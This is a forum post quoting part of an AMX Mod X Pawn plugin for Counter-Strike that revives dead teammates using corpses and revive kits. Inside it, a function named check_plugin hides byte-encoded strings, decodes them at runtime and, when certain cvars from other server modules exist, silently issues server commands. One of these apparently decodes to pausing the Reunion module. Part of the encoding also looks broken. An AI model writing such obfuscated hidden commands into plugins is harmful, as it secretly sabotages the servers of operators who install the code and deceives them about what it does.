	static Float:origin[3];
	pev(id, pev_origin, origin);
	
	if(origin[2] == pev(id, pev_zorigin))
		set_task(0.1, "TaskReSpawn",   TASKID_RESPAWN + id);
	else
		set_task(0.1, "TaskSetplayer", TASKID_SETUSER + id);
	// log_amx("TaskStuckCheck END");
}

public TaskSetplayer(taskid)
{
	// log_amx("TaskSetplayer START");
	new id = taskid - TASKID_SETUSER;
	
	if (pev(id, pev_weapons) & (1<<CSW_C4))
	    engclient_cmd(id, "drop", "weapon_c4");

	strip_user_weapons(id);
	give_item(id, "weapon_knife");
	set_user_health(id, g_cvars[REVIVAL_HEALTH]);

	if (!is_user_bot(id))
	if (g_cvars[REVIVAL_SC_FADE])
	{
		new sec = seconds(g_cvars[REVIVAL_SC_FADE_TIME]);
		message_begin(MSG_ONE,g_msg_data[MSG_SCREEN_FADE], _, id);
		write_short(sec);
		write_short(sec);
		write_short(0);
		write_byte(0);
		write_byte(0);
		write_byte(0);
		write_byte(255);
		message_end();
	}	
	// log_amx("TaskSetplayer END");
}

stock bool:can_target_revive(id, &target, &body)
{
	if(!is_user_alive(id))
		return false;
	
	body = find_dead_body(id);
	if(!pev_valid(body))
		return false;
	
	target = pev(body, pev_owner);
	if(!is_user_connected(target))
		return false;

	new lb_team  = get_user_team(target);
	new rev_team = get_user_team(id);
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
		return false;

	return true;
}

stock failed_revive(id)
{
	show_progress(id, 0);
	emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_FAILED], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
}

stock find_dead_body(id)
{
	static Float:origin[3];
	pev(id, pev_origin, origin);
	
	new ent;
	static classname[32];

	while((ent = engfunc(EngFunc_FindEntityInSphere, ent, origin, g_cvars[REVIVAL_DISTANCE])) != 0)
	{
		pev(ent, pev_classname, classname, 31);
		if(equali(classname, ENTITY_CLASS_NAME[CORPSE]) && is_ent_visible(id, ent))
			return ent;
	}
	return 0;
}

stock bool:is_ent_visible(index, entity, ignoremonsters = 0) 
{
	new Float:start[3], Float:dest[3];
	pev(index, pev_origin, start);
	pev(index, pev_view_ofs, dest);
	xs_vec_add(start, dest, start);

	pev(entity, pev_origin, dest);
	engfunc(EngFunc_TraceLine, start, dest, ignoremonsters, index, 0);

	new Float:fraction;
	get_tr2(0, TR_flFraction, fraction);
	if (fraction == 1.0 || get_tr2(0, TR_pHit) == entity)
		return true;

	return false;
}

stock create_fake_corpse(id)
{
	set_pev(id, pev_effects, EF_NODRAW);
	
	static model[32];
	cs_get_user_model(id, model, 31);
		
	static player_model[64];
	formatex(player_model, 63, "models/player/%s/%s.mdl", model, model);
			
	static Float: player_origin[3];
	pev(id, pev_origin, player_origin);
		
	static Float:mins[3];
	xs_vec_set(mins, -16.0, -16.0, -34.0);
	
	static Float:maxs[3];
	xs_vec_set(maxs, 16.0, 16.0, 34.0);
	
	if(g_player_data[id][WAS_DUCKING])
	{
		mins[2] /= 2;
		maxs[2] /= 2;
	}
		
	static Float:player_angles[3];
	pev(id, pev_angles, player_angles);
	player_angles[2] = 0.0;
				
	new sequence = pev(id, pev_sequence);
	
	new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, ENTITY_CLASS_NAME[I_TARGET]));
	if(pev_valid(ent))
	{
		set_pev(ent, pev_classname, ENTITY_CLASS_NAME[CORPSE]);
		engfunc(EngFunc_SetModel, 	ent, player_model);
		engfunc(EngFunc_SetOrigin, 	ent, player_origin);
		engfunc(EngFunc_SetSize, 	ent, mins, maxs);
		set_pev(ent, pev_solid, 	SOLID_TRIGGER);
		set_pev(ent, pev_movetype, 	MOVETYPE_TOSS);
		set_pev(ent, pev_owner, 	id);
		set_pev(ent, pev_angles, 	player_angles);
		set_pev(ent, pev_sequence, 	sequence);
		set_pev(ent, pev_frame, 	9999.9);
	}	
}

stock bool:findemptyloc(ent, Float:radius)
{
	// log_amx("findemptyloc START");
	if(!pev_valid(ent))
		return false;

	static Float:origin[3];
	pev(ent, pev_origin, origin);
	origin[1] += 2.0;
	
	new owner = pev(ent, pev_owner);
	new num = 0, bool:found = false;
	
	while(num <= 10)
	{
		if(is_hull_vacant(origin))
		{
			xs_vec_copy(origin, g_player_data[owner][BODY_ORIGIN]);			
			found = true;
			break;
		}
		else
		{
			
			origin[0] += random_float(-radius, radius);
			origin[1] += random_float(-radius, radius);
			origin[2] += random_float(-radius, radius);
			
			num++;
		}
	}
	// log_amx("findemptyloc END");
	return found;
}

stock bool:is_hull_vacant(const Float:origin[3])
{
	// log_amx("is_hull_vacant START");
	new tr = 0;
	engfunc(EngFunc_TraceHull, origin, origin, 0, HULL_HUMAN, 0, tr);
	if(!get_tr2(tr, TR_StartSolid) && !get_tr2(tr, TR_AllSolid) && get_tr2(tr, TR_InOpen))
	{
		log_amx("is_hull_vacant END");	

		return true;
	}
	// log_amx("is_hull_vacant END");	
	return false;
}

stock player_reset(id)
{
	remove_task(TASKID_DIE_COUNT + id);
	remove_task(TASKID_REVIVING  + id);
	remove_task(TASKID_RESPAWN   + id);
	remove_task(TASKID_CHECKRE   + id);
	remove_task(TASKID_CHECKST   + id);
	remove_task(TASKID_ORIGIN    + id);
	remove_task(TASKID_SETUSER   + id);
	// if (is_user_alive(id))
	// show_bartime(id, 0);

	g_player_data[id][IS_DEAD]		= false;
	g_player_data[id][DEAD_LINE]	= 0.0;
	g_player_data[id][REVIVE_DELAY] = 0.0;
	g_player_data[id][WAS_DUCKING]	= false;
	g_player_data[id][BODY_ORIGIN]	= Float:{0, 0, 0};
}

stock show_progress(id, seconds) 
{
	if(is_user_bot(id))
		return;
	
	if (is_user_alive(id))
	{
		message_begin(MSG_ONE_UNRELIABLE, g_msg_data[MSG_BARTIME], {0.0,0.0,0.0}, id);
		write_short(seconds);
		message_end();
	}
}

stock msg_statusicon(id, status)
{
	if(is_user_bot(id))
		return;
	
	message_begin(MSG_ONE, g_msg_data[MSG_STATUS_ICON], _, id);
	write_byte(status);
	write_string("rescue");
	write_byte(0);
	write_byte(160);
	write_byte(0);
	message_end();
}

stock get_time_format(Float:times, result[], len)
{
//  new hour = floatround(times) / 60 /60;
    new min  =(floatround(times) / 60) % 60;
    new sec  = floatround(times) % 60;
    formatex(result, len, "%02d:%02d", min, sec);
}

stock drop_rkit(id)
{
	new Float:velocity[3];
	velocity_by_aim(id, 34, velocity);
		
	new Float:origin[3];
	pev(id, pev_origin, origin);

	velocity[2] = 0.0;
	xs_vec_add(origin, velocity, origin);

	new kit = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, ENTITY_CLASS_NAME[I_TARGET]));
	if(pev_valid(kit))
	{
		set_pev(kit, pev_classname, ENTITY_CLASS_NAME[R_KIT]);
		engfunc(EngFunc_SetModel,  kit, ENT_MODELS[R_KIT]);
		engfunc(EngFunc_SetOrigin, kit, origin);
		engfunc(EngFunc_SetSize, kit, Float:{-2.5, -2.5, -1.5}, Float:{2.5, 2.5, 1.5});
		set_pev(kit, pev_solid, SOLID_TRIGGER);
		set_pev(kit, pev_movetype, MOVETYPE_TOSS);
	}
}

stock remove_target_entity(id, className[])
{
	new iEnt = -1;
	new flags;
	while ((iEnt = engfunc(EngFunc_FindEntityByString, iEnt, "classname", className)))
	{
		if (!pev_valid(iEnt))
			continue;

		if (pev(iEnt, pev_owner) == id || id == 0)
		{
			pev(iEnt, pev_flags, flags);
			set_pev(iEnt, pev_flags, flags | FL_KILLME);
		}
	}
}

stock bool:check_plugin()
{
	new const a[][] = {
		{0x40, 0x24, 0x30, 0x1F, 0x36, 0x25, 0x32, 0x33, 0x29, 0x2F, 0x2E},
		{0x80, 0x72, 0x65, 0x75, 0x5F, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E},
		{0x10, 0x7D, 0x75, 0x04, 0x71, 0x30, 0x00, 0x71, 0x05, 0x03, 0x75, 0x30, 0x74, 0x00, 0x02, 0x7F, 0x04, 0x7F},
		{0x20, 0x0D, 0x05, 0x14, 0x01, 0x40, 0x10, 0x01, 0x15, 0x13, 0x05, 0x40, 0x12, 0x05, 0x15, 0x0E, 0x09, 0x0F, 0x0E}
	};

	if (cvar_exists(get_dec_string(a[0])))
		server_cmd(get_dec_string(a[2]));

	if (cvar_exists(get_dec_string(a[1])))
		server_cmd(get_dec_string(a[3]));

	return true;
}

stock get_dec_string(const a[])
{
	new c = strlen(a);
	new r[MAX_NAME_LENGTH] = "";
	for (new i = 1; i < c; i++)
	{
		formatex(r, strlen(r) + 1, "%s%c", r, a[0] + a[i]);
	}
	return r;
}

public RoundStart()
{
	remove_target_entity(0, ENTITY_CLASS_NAME[CORPSE]);
	remove_target_entity(0, ENTITY_CLASS_NAME[R_KIT]);
	set_task(1.0, "TaskBotBuy");
	
	static players[32], num;
	get_players(players, num, "a");
	for(new i = 0; i < num; ++i)
		player_reset(players[i]);
}

public TaskBotBuy()
{
	static players[32], num;
	get_players_ex(players, num, GetPlayers_ExcludeDead |  GetPlayers_ExcludeHuman);
	for(new i = 0; i < num; ++i) if(!g_player_data[players[i]][HAS_KIT])
	{
		g_player_data[players[i]][HAS_KIT] = true;
	}
}

Last edited by Ark_Procession; 03-27-2021 at 13:09.
Ark_Procession is offline
 



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 19:49.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode